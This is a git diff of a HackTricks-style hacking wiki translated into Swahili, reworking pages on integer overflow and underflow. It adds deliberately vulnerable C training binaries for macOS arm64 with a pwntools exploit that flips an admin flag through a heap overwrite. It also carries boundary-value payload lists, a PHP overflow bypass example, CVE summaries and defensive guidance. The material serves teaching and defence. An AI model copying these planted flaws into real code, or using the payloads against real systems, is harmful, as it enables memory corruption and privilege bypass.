diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index 9a62d47c5..dab618a10 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -785,7 +785,7 @@
   - [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
 - [Array Indexing](binary-exploitation/array-indexing.md)
 - [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
-- [Integer Overflow](binary-exploitation/integer-overflow.md)
+- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md)
 - [Format Strings](binary-exploitation/format-strings/README.md)
   - [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
   - [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)
diff --git a/src/binary-exploitation/integer-overflow-and-underflow.md b/src/binary-exploitation/integer-overflow-and-underflow.md
new file mode 100644
index 000000000..85b1602e4
--- /dev/null
+++ b/src/binary-exploitation/integer-overflow-and-underflow.md
@@ -0,0 +1,368 @@
+# Integer Overflow
+
+{{#include ../banners/hacktricks-training.md}}
+
+## Taarifa za Msingi
+
+Kimsingi cha **integer overflow** ni kikomo kinachowekwa na **ukubwa** wa aina za data katika programu za kompyuta na **tafsiri** ya data.
+
+Kwa mfano, **8-bit unsigned integer** inaweza kuwakilisha thamani kutoka **0 to 255**. Ikiwa utajaribu kuhifadhi thamani 256 katika 8-bit unsigned integer, itazunguka kurudi 0 kutokana na kikomo cha uwezo wake wa uhifadhi. Vivyo hivyo, kwa **16-bit unsigned integer**, ambayo inaweza kushikilia thamani kutoka **0 to 65,535**, kuongeza 1 kwa 65,535 kutaizungusha thamani kurudi 0.
+
+Zaidi ya hayo, **8-bit signed integer** inaweza kuwakilisha thamani kutoka **-128 to 127**. Hii ni kwa sababu bit moja inatumiwa kuwakilisha ishara (chanya au hasi), ikiacha bits 7 za kuwakilisha ukubwa. Nambari yenye hasi kabisa inawakilishwa kama **-128** (binary `10000000`), na nambari yenye chanya kabisa ni **127** (binary `01111111`).
+
+Thamani kubwa za aina za integer zinazojulikana:
+| Aina           | Ukubwa (bits) | Thamani Ndogo      | Thamani Kuu        |
+|----------------|---------------|--------------------|--------------------|
+| int8_t         | 8             | -128               | 127                |
+| uint8_t        | 8             | 0                  | 255                |
+| int16_t        | 16            | -32,768            | 32,767             |
+| uint16_t       | 16            | 0                  | 65,535             |
+| int32_t        | 32            | -2,147,483,648     | 2,147,483,647      |
+| uint32_t       | 32            | 0                  | 4,294,967,295      |
+| int64_t        | 64            | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
+| uint64_t       | 64            | 0                  | 18,446,744,073,709,551,615 |
+
+short ni sawa na `int16_t` na int ni sawa na `int32_t` na long ni sawa na `int64_t` katika mifumo ya 64bits.
+
+### Thamani Kuu
+
+Kwa **web vulnerabilities** zinazowezekana ni muhimu kujua thamani za juu zinazoungwa mkono:
+
+{{#tabs}}
+{{#tab name="Rust"}}
+```rust
+fn main() {
+
+let mut quantity = 2147483647;
+
+let (mul_result, _) = i32::overflowing_mul(32767, quantity);
+let (add_result, _) = i32::overflowing_add(1, quantity);
+
+println!("{}", mul_result);
+println!("{}", add_result);
+}
+```
+{{#endtab}}
+
+{{#tab name="C"}}
+```c
+#include <stdio.h>
+#include <limits.h>
+
+int main() {
+int a = INT_MAX;
+int b = 0;
+int c = 0;
+
+b = a * 100;
+c = a + 1;
+
+printf("%d\n", INT_MAX);
+printf("%d\n", b);
+printf("%d\n", c);
+return 0;
+}
+```
+{{#endtab}}
+{{#endtabs}}
+
+## Mifano
+
+### Safi overflow
+
+Matokeo yaliyochapishwa yatakuwa 0 kwani tuli overflow char:
+```c
+#include <stdio.h>
+
+int main() {
+unsigned char max = 255; // 8-bit unsigned integer
+unsigned char result = max + 1;
+printf("Result: %d\n", result); // Expected to overflow
+return 0;
+}
+```
+### Signed to Unsigned Conversion
+
+Fikiria hali ambapo signed integer inasomwa kutoka kwa ingizo la mtumiaji kisha ikitumika katika muktadha unaoitendea kama unsigned integer, bila uhalalishaji sahihi:
+```c
+#include <stdio.h>
+
+int main() {
+int userInput; // Signed integer
+printf("Enter a number: ");
+scanf("%d", &userInput);
+
+// Treating the signed input as unsigned without validation
+unsigned int processedInput = (unsigned int)userInput;
+
+// A condition that might not work as intended if userInput is negative
+if (processedInput > 1000) {
+printf("Processed Input is large: %u\n", processedInput);
+} else {
+printf("Processed Input is within range: %u\n", processedInput);
+}
+
+return 0;
+}
+```
+Katika mfano huu, ikiwa mtumiaji ataingiza nambari hasi, itatafsiriwa kama nambari kubwa isiyo na alama (unsigned) kutokana na jinsi thamani za binary zinavyotafsiriwa, na inaweza kusababisha tabia isiyotarajiwa.
+
+### macOS Overflow Example
+```c
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+#include <unistd.h>
+
+/*
+* Realistic integer-overflow → undersized allocation → heap overflow → flag
+* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
+*/
+
+__attribute__((noinline))
+void win(void) {
+puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
+puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
+exit(0);
+}
+
+struct session {
+int is_admin;           // Target to flip from 0 → 1
+char note[64];
+};
+
+static size_t read_stdin(void *dst, size_t want) {
+// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
+const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
+size_t got = 0;
+
+printf("Requested bytes: %zu\n", want);
+
+while (got < want) {
+size_t remain = want - got;
+size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;
+
+ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
+if (n > 0) {
+got += (size_t)n;
+continue;
+}
+if (n == 0) {
+// EOF – stop; partial reads are fine for our exploit
+break;
+}
+// n < 0: real error (likely EINVAL when chunk too big on some FDs)
+perror("read");
+break;
+}
+return got;
+}
+
+
+int main(void) {
+setvbuf(stdout, NULL, _IONBF, 0);
+puts("=== Bundle Importer (training) ===");
+
+// 1) Read attacker-controlled parameters (use large values)
+size_t count = 0, elem_size = 0;
+printf("Entry count: ");
+if (scanf("%zu", &count) != 1) return 1;
+printf("Entry size: ");
+if (scanf("%zu", &elem_size) != 1) return 1;
+
+// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
+//    NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
+uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
+/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
+Then, product32 = 0
+*/
+uint32_t alloc32   = product32 + 32; // alloc32 = 0 + 32 = 32
+printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
+
+// 3) Allocate a single arena and lay out [buffer][slack][session]
+//    This makes adjacency deterministic (no reliance on system malloc order).
+const size_t SLACK = 512;
+size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
+unsigned char *arena = (unsigned char*)malloc(arena_sz);
+if (!arena) { perror("malloc"); return 1; }
+memset(arena, 0, arena_sz);
+
+unsigned char *buf  = arena;  // In this buffer the attacker will copy data
+struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
+sess->is_admin = 0;
+strncpy(sess->note, "regular user", sizeof(sess->note)-1);
+
+printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
+(void*)arena, (void*)buf, alloc32, (void*)sess,
+((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
+
+// 4) Copy uses native size_t product (no truncation) → It generates an overflow
+size_t to_copy = count * elem_size;                   // <-- Large size_t
+printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
+
+puts(">> Send bundle payload on stdin (EOF to finish)...");
+size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
+printf("[dbg] actually read = %zu bytes\n", got);
+
+// 5) Privileged action gated by a field next to the overflow target
+if (sess->is_admin) {
+puts("[dbg] admin privileges detected");
+win();
+} else {
+puts("[dbg] normal user");
+}
+return 0;
+}
+```
+Kusanya kwa kutumia:
+```bash
+clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
+-o int_ovf_heap_priv int_ovf_heap_priv.c
+```
+#### Exploit
+```python
+# exploit.py
+from pwn import *
+
+# Keep logs readable; switch to "debug" if you want full I/O traces
+context.log_level = "info"
+
+EXE = "./int_ovf_heap_priv"
+
+def main():
+# IMPORTANT: use plain pipes, not PTY
+io = process([EXE])  # stdin=PIPE, stdout=PIPE by default
+
+# 1) Drive the prompts
+io.sendlineafter(b"Entry count: ", b"4294967296")  # 2^32 -> (uint32_t)0
+io.sendlineafter(b"Entry size: ",  b"1")           # alloc32 = 32, offset_to_sess = 48
+
+# 2) Wait until it’s actually reading the payload
+io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
+
+# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
+payload = b"A" * 48 + p32(1)
+
+# 4) Send payload, THEN send EOF via half-close on the pipe
+io.send(payload)
+io.shutdown("send")   # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
+
+# 5) Read the rest (should print admin + FLAG)
+print(io.recvall(timeout=5).decode(errors="ignore"))
+
+if __name__ == "__main__":
+main()
+```
+### macOS Underflow Mfano
+```c
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+#include <unistd.h>
+
+/*
+* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
+* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
+*/
+
+__attribute__((noinline))
+void win(void) {
+puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
+puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
+exit(0);
+}
+
+struct session {
+int  is_admin;      // flip 0 -> 1
+char note[64];
+};
+
+static size_t read_stdin(void *dst, size_t want) {
+// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
+const size_t MAX_CHUNK = 1 << 20; // 1 MiB
+size_t got = 0;
+printf("[dbg] Requested bytes: %zu\n", want);
+while (got < want) {
+size_t remain = want - got;
+size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;
+ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
+if (n > 0) { got += (size_t)n; continue; }
+if (n == 0) break;    // EOF: partial read is fine
+perror("read"); break;
+}
+return got;
+}
+
+int main(void) {
+setvbuf(stdout, NULL, _IONBF, 0);
+puts("=== Packet Importer (UNDERFLOW training) ===");
+
+size_t total_len = 0;
+printf("Total packet length: ");
+if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
+
+const size_t HEADER = 16;
+
+// **BUG**: size_t underflow if total_len < HEADER
+size_t payload_len = total_len - HEADER;   // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
+// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
+printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
+total_len, HEADER, payload_len);
+
+// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
+const size_t SLACK = 256;
+size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
+unsigned char *arena = (unsigned char*)malloc(arena_sz);
+if (!arena) { perror("malloc"); return 1; }
+memset(arena, 0, arena_sz);
+
+unsigned char *buf  = arena;
+struct session *sess = (struct session*)(arena + total_len + 16);
+// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
+sess->is_admin = 0;
+strncpy(sess->note, "regular user", sizeof(sess->note)-1);
+
+printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
+(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
+
+puts(">> Send payload bytes (EOF to finish)...");
+size_t got = read_stdin(buf, payload_len);
+// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
+printf("[dbg] actually read = %zu bytes\n", got);
+
+if (sess->is_admin) {
+puts("[dbg] admin privileges detected");
+win();
+} else {
+puts("[dbg] normal user");
+}
+return 0;
+}
+```
+I-compile kwa kutumia:
+```bash
+clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
+-o int_underflow_heap int_underflow_heap.c
+```
+### Mifano Mengine
+
+- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
+- 1B pekee hutumika kuhifadhi ukubwa wa password, hivyo inawezekana ku-overflow na kuifanya ifikirie urefu wake kuwa 4 ilhali kwa kweli ni 260, hivyo kupitisha ukaguzi wa urefu
+- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
+
+- Kwa kupewa namba chache, tumia z3 kupata namba mpya ambayo ikizidishwa na nambari ya kwanza itatoa nambari ya pili:
+
+```
+(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
+```
+
+- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
+- 1B pekee hutumika kuhifadhi ukubwa wa password, hivyo inawezekana ku-overflow na kuifanya ifikirie urefu wake kuwa 4 ilhali kwa kweli ni 260, kupitisha ukaguzi wa urefu na kuandika juu kwenye stack local variable inayofuata na hivyo kupitisha ulinzi zote mbili
+
+## ARM64
+
+Hii **haibadiliki katika ARM64** kama unavyoweza kuona katika [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
+
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md
deleted file mode 100644
index 47995090d..000000000
--- a/src/binary-exploitation/integer-overflow.md
+++ /dev/null
@@ -1,115 +0,0 @@
-# Integer Overflow
-
-{{#include ../banners/hacktricks-training.md}}
-
-## Basic Information
-
-Katika msingi wa **integer overflow** kuna kikomo kinachowekwa na **ukubwa** wa aina za data katika programu za kompyuta na **ufafanuzi** wa data.
-
-Kwa mfano, **8-bit unsigned integer** inaweza kuwakilisha thamani kutoka **0 hadi 255**. Ikiwa unajaribu kuhifadhi thamani 256 katika 8-bit unsigned integer, inarudi nyuma hadi 0 kutokana na kikomo cha uwezo wake wa kuhifadhi. Vivyo hivyo, kwa **16-bit unsigned integer**, ambayo inaweza kushikilia thamani kutoka **0 hadi 65,535**, kuongeza 1 kwa 65,535 itarudisha thamani hiyo hadi 0.
-
-Zaidi ya hayo, **8-bit signed integer** inaweza kuwakilisha thamani kutoka **-128 hadi 127**. Hii ni kwa sababu bit moja inatumika kuwakilisha ishara (chanya au hasi), ikiacha bits 7 kuwakilisha ukubwa. Nambari hasi zaidi inawakilishwa kama **-128** (binary `10000000`), na nambari chanya zaidi ni **127** (binary `01111111`).
-
-### Max values
-
-Kwa uwezekano wa **web vulnerabilities** ni muhimu kujua thamani za juu zinazoungwa mkono:
-
-{{#tabs}}
-{{#tab name="Rust"}}
-```rust
-fn main() {
-
-let mut quantity = 2147483647;
-
-let (mul_result, _) = i32::overflowing_mul(32767, quantity);
-let (add_result, _) = i32::overflowing_add(1, quantity);
-
-println!("{}", mul_result);
-println!("{}", add_result);
-}
-```
-{{#endtab}}
-
-{{#tab name="C"}}
-```c
-#include <stdio.h>
-#include <limits.h>
-
-int main() {
-int a = INT_MAX;
-int b = 0;
-int c = 0;
-
-b = a * 100;
-c = a + 1;
-
-printf("%d\n", INT_MAX);
-printf("%d\n", b);
-printf("%d\n", c);
-return 0;
-}
-```
-{{#endtab}}
-{{#endtabs}}
-
-## Mifano
-
-### Overflow safi
-
-Matokeo yaliyochapishwa yatakuwa 0 kwani tumepita kiwango cha char:
-```c
-#include <stdio.h>
-
-int main() {
-unsigned char max = 255; // 8-bit unsigned integer
-unsigned char result = max + 1;
-printf("Result: %d\n", result); // Expected to overflow
-return 0;
-}
-```
-### Signed to Unsigned Conversion
-
-Fikiria hali ambapo nambari iliyo na saini inasomwa kutoka kwa ingizo la mtumiaji na kisha kutumika katika muktadha ambao unait treating kama nambari isiyo na saini, bila uthibitisho sahihi:
-```c
-#include <stdio.h>
-
-int main() {
-int userInput; // Signed integer
-printf("Enter a number: ");
-scanf("%d", &userInput);
-
-// Treating the signed input as unsigned without validation
-unsigned int processedInput = (unsigned int)userInput;
-
-// A condition that might not work as intended if userInput is negative
-if (processedInput > 1000) {
-printf("Processed Input is large: %u\n", processedInput);
-} else {
-printf("Processed Input is within range: %u\n", processedInput);
-}
-
-return 0;
-}
-```
-Katika mfano huu, ikiwa mtumiaji anaingiza nambari hasi, itatafsiriwa kama nambari kubwa isiyo na alama kutokana na jinsi thamani za binary zinavyotafsiriwa, ambayo inaweza kusababisha tabia isiyotarajiwa.
-
-### Mifano Mingine
-
-- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
-- Ni 1B pekee inayotumika kuhifadhi ukubwa wa nenosiri hivyo inawezekana kuijaza na kuifanya ifikirie kuwa urefu wake ni 4 wakati kwa kweli ni 260 ili kupita ulinzi wa ukaguzi wa urefu
-- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
-
-- Imepewa nambari kadhaa pata kutumia z3 nambari mpya ambayo ikizidishwa na ya kwanza itatoa ya pili:
-
-```
-(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
-```
-
-- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
-- Ni 1B pekee inayotumika kuhifadhi ukubwa wa nenosiri hivyo inawezekana kuijaza na kuifanya ifikirie kuwa urefu wake ni 4 wakati kwa kweli ni 260 ili kupita ulinzi wa ukaguzi wa urefu na kuandika tena kwenye stack variable ya ndani inayofuata na kupita ulinzi wote
-
-## ARM64
-
-Hii **haiwezi kubadilika katika ARM64** kama unavyoona katika [**hiki kipande cha blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md b/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md
index 6e1c3b87c..f9342e77e 100644
--- a/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md
+++ b/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md
@@ -2,45 +2,44 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-> Ukurasa huu unazingatia jinsi **overflow/truncation za integer zinavyoweza kutumika vibaya katika programu za wavuti na vivinjari**. Kwa mbinu za unyakuzi ndani ya binaries asilia unaweza kuendelea kusoma ukurasa uliojitolea:
+> Ukurasa huu unaelezea jinsi ambapo **integer overflows/truncations zinaweza kutumiwa katika web applications na browsers**.  Kwa exploitation primitives ndani ya native binaries unaweza endelea kusoma ukurasa maalum:
 >
 >
 {{#ref}}
 > ../../binary-exploitation/integer-overflow-and-underflow.md
->
-{{#endref}}
+> {{#endref}}
 
 ---
 
-## 1. Kwa nini hesabu za integer bado ni muhimu kwenye wavuti
+## 1. Why integer math still matters on the web
 
-Ingawa mantiki nyingi za biashara katika stack za kisasa zimeandikwa katika lugha za *memory-safe*, runtime ya chini (au maktaba za wahusika wengine) hatimaye inatekelezwa kwa C/C++. Kila wakati nambari zinazodhibitiwa na mtumiaji zinapotumika kugawa buffers, kuhesabu offsets, au kufanya ukaguzi wa urefu, **kuzunguka kwa 32-bit au 64-bit kunaweza kubadilisha parameter inayonekana kuwa isiyo na madhara kuwa kusoma/kandika nje ya mipaka, kupita kwa mantiki au DoS**.
+Licha ya kwamba sehemu kubwa ya business-logic katika modern stacks imeandikwa kwa lugha za *memory-safe*, runtime inayofanya kazi chini yake (au third-party libraries) hatimaye imeimplemented katika C/C++. Wakati wowote nambari zinazoathiriwa na user zinapotumika kugawa buffers, kuhesabu offsets, au kufanya ukaguzi wa urefu, **wrap-around ya 32-bit au 64-bit inaweza kubadilisha parameter inayotarajiwa kuwa isiyo hatari kuwa out-of-bounds read/write, logic bypass au DoS**.
 
-Uso wa shambulio wa kawaida:
+Typical attack surface:
 
-1. **Parameta za ombi za nambari** – viwanja vya kawaida vya id, offset, au count.
-2. **Vichwa vya urefu / saizi** – Content-Length, urefu wa fremu ya WebSocket, HTTP/2 continuation_len, n.k.
-3. **Metadata ya muundo wa faili inayosindika upande wa seva au upande wa mteja** – vipimo vya picha, saizi za chunk, meza za font.
-4. **Mabadiliko ya kiwango cha lugha** – signed↔unsigned casts katika PHP/Go/Rust FFI, JS Number → int32 truncations ndani ya V8.
-5. **Uthibitishaji & mantiki ya biashara** – thamani ya kuponi, bei, au hesabu za salio ambazo zinapita kimya.
+1. **Numeric request parameters** – classic id, offset, or count fields.
+2. **Length / size headers** – Content-Length, WebSocket frame length, HTTP/2 continuation_len, etc.
+3. **File-format metadata parsed server-side or client-side** – image dimensions, chunk sizes, font tables.
+4. **Language-level conversions** – signed↔unsigned casts in PHP/Go/Rust FFI, JS Number → int32 truncations inside V8.
+5. **Authentication & business logic** – coupon value, price, or balance calculations that silently overflow.
 
 ---
 
-## 2. Uthibitisho wa hivi karibuni wa udhaifu wa kweli (2023-2025)
+## 2. Recent real-world vulnerabilities (2023-2025)
 
-| Mwaka | Kipengele | Sababu kuu | Athari |
+| Mwaka | Komponenti | Sababu kuu | Athari |
 |------|-----------|-----------|--------|
-| 2023 | **libwebp – CVE-2023-4863** | Kuongezeka kwa 32-bit wakati wa kuhesabu saizi ya pikseli iliyotafsiriwa | Ilisababisha Chrome 0-day (BLASTPASS kwenye iOS), iliruhusu *utendaji wa msimbo wa mbali* ndani ya sandbox ya renderer.  |
-| 2024 | **V8 – CVE-2024-0519** | Truncation hadi 32-bit wakati wa kukua JSArray inasababisha OOB kuandika kwenye duka la nyuma | Utendaji wa msimbo wa mbali baada ya kutembelea mara moja.  |
-| 2025 | **Apollo GraphQL Server** (patch isiyotolewa) | Integer ya 32-bit iliyosainiwa inatumika kwa argumeti za pagination za kwanza/mwisho; thamani hasi zinazunguka kuwa kubwa chanya | Kupita kwa mantiki & uchovu wa kumbukumbu (DoS). |
+| 2023 | **libwebp – CVE-2023-4863** | 32-bit multiplication overflow when computing decoded pixel size | Ilisababisha Chrome 0-day (BLASTPASS on iOS), ikaruhusu *remote code execution* ndani ya renderer sandbox.  |
+| 2024 | **V8 – CVE-2024-0519** | Truncation to 32-bit when growing a JSArray leads to OOB write on the backing store | Remote code execution baada ya kutembelea mara moja.  |
+| 2025 | **Apollo GraphQL Server** (unreleased patch) | 32-bit signed integer used for first/last pagination args; negative values wrap to huge positives | Logic bypass & memory exhaustion (DoS). |
 
 ---
 
-## 3. Mkakati wa kupima
+## 3. Testing strategy
 
-### 3.1 Cheat-sheet ya thamani za mpaka
+### 3.1 Boundary-value cheat-sheet
 
-Tuma **thamani za juu za signed/unsigned** popote ambapo integer inatarajiwa:
+Tuma **extreme signed/unsigned values** kila mahali ambapo integer inatarajiwa:
 ```
 -1, 0, 1,
 127, 128, 255, 256,
@@ -49,9 +48,9 @@ Tuma **thamani za juu za signed/unsigned** popote ambapo integer inatarajiwa:
 9223372036854775807, 9223372036854775808,
 0x7fffffff, 0x80000000, 0xffffffff
 ```
-Mifumo mingine ya manufaa:
-* Hex (0x100), octal (0377), kisayansi (1e10), JSON big-int (9999999999999999999).
-* Mifumo ya nambari ndefu sana (>1kB) ili kufikia parser maalum.
+Mifomato mingine muhimu:
+* Hex (0x100), octal (0377), scientific (1e10), JSON big-int (9999999999999999999).
+* Mfuatano mrefu sana wa tarakimu (>1kB) ili kugonga custom parsers.
 
 ### 3.2 Kiolezo cha Burp Intruder
 ```
@@ -62,15 +61,15 @@ Pad to length: 10, Enable hex prefix 0x
 ```
 ### 3.3 Fuzzing libraries & runtimes
 
-* **AFL++/Honggfuzz** na libFuzzer harness kuzunguka parser (mfano, WebP, PNG, protobuf).
-* **Fuzzilli** – fuzzing inayojua sarufi ya injini za JavaScript ili kugonga V8/JSC integer truncations.
-* **boofuzz** – fuzzing ya itifaki ya mtandao (WebSocket, HTTP/2) ikilenga uwanja wa urefu.
+* **AFL++/Honggfuzz** pamoja na libFuzzer harness karibu na parser (kwa mfano, WebP, PNG, protobuf).
+* **Fuzzilli** – grammar-aware fuzzing ya JavaScript engines ili kugonga V8/JSC integer truncations.
+* **boofuzz** – network-protocol fuzzing (WebSocket, HTTP/2) ikilenga length fields.
 
 ---
 
 ## 4. Exploitation patterns
 
-### 4.1 Logic bypass in server-side code (PHP example)
+### 4.1 Logic bypass katika server-side code (mfano wa PHP)
 ```php
 $price = (int)$_POST['price'];          // expecting cents (0-10000)
 $total = $price * 100;                  // ← 32-bit overflow possible
@@ -79,27 +78,29 @@ die('Too expensive');
 }
 /* Sending price=21474850 → $total wraps to ‑2147483648 and check is bypassed */
 ```
-### 4.2 Heap overflow kupitia decoder ya picha (libwebp 0-day)
-Decoder ya WebP isiyo na hasara iliongeza upana wa picha × urefu × 4 (RGBA) ndani ya int ya 32-bit. Faili iliyoundwa kwa vipimo 16384 × 16384 inazidi kuzidisha, inatenga buffer fupi na kisha inaandika **~1GB** ya data iliyoshughulikiwa kupita heap – ikisababisha RCE katika kila kivinjari kinachotegemea Chromium kabla ya 116.0.5845.187.
+### 4.2 Heap overflow via image decoder (libwebp 0-day)
+WebP lossless decoder ilizidisha image width × height × 4 (RGBA) ndani ya 32-bit int. Faili iliyotengenezwa kwa vipimo 16384 × 16384 iliresulta overflows kwenye multiplication, allocates short buffer na baadaye ikaandika **~1GB** ya decompressed data past the heap – ikisababisha RCE katika every Chromium-based browser kabla ya 116.0.5845.187.
 
-### 4.3 Mnyororo wa XSS/RCE unaotegemea kivinjari
-1. **Integer overflow** katika V8 inatoa kusoma/kandika bila mipaka.
-2. Kimbia kwenye sandbox kwa hitilafu ya pili au piga API za asili ili kuangusha payload.
-3. Payload kisha inaingiza script mbaya katika muktadha wa asili → XSS iliyohifadhiwa.
+### 4.3 Browser-based XSS/RCE chain
+1. **Integer overflow** in V8 gives arbitrary read/write.
+2. Escape the sandbox with a second bug or call native APIs to drop a payload.
+3. The payload then injects a malicious script into the origin context → stored XSS.
 
 ---
 
-## 5. Miongozo ya kujihami
+## 5. Defensive guidelines
 
-1. **Tumia aina pana au hesabu zilizokaguliwa** – e.g., size_t, Rust checked_add, Go math/bits.Add64.
-2. **Thibitisha mipaka mapema**: kataa thamani yoyote nje ya eneo la biashara kabla ya hesabu.
-3. **Washa sanitizers za kompyuta**: -fsanitize=integer, UBSan, Go race detector.
-4. **Pokea fuzzing katika CI/CD** – changanya mrejesho wa kufunika na mipaka ya data.
-5. **Baki na sasisho** – hitilafu za integer overflow za kivinjari mara nyingi zinatumika kama silaha ndani ya wiki chache.
+1. **Use wide types or checked math** – e.g., size_t, Rust checked_add, Go math/bits.Add64.
+2. **Validate ranges early**: kataa thamani yoyote nje ya business domain kabla ya arithmetic.
+3. **Enable compiler sanitizers**: -fsanitize=integer, UBSan, Go race detector.
+4. **Adopt fuzzing in CI/CD** – waunganishe coverage feedback na boundary corpora.
+5. **Stay patched** – browser integer overflow bugs mara nyingi zinatumiwa ndani ya wiki.
 
 ---
 
-## Marejeo
+
+
+## References
 
 * [NVD CVE-2023-4863 – libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
 * [Google Project Zero – "Understanding V8 CVE-2024-0519"](https://googleprojectzero.github.io/)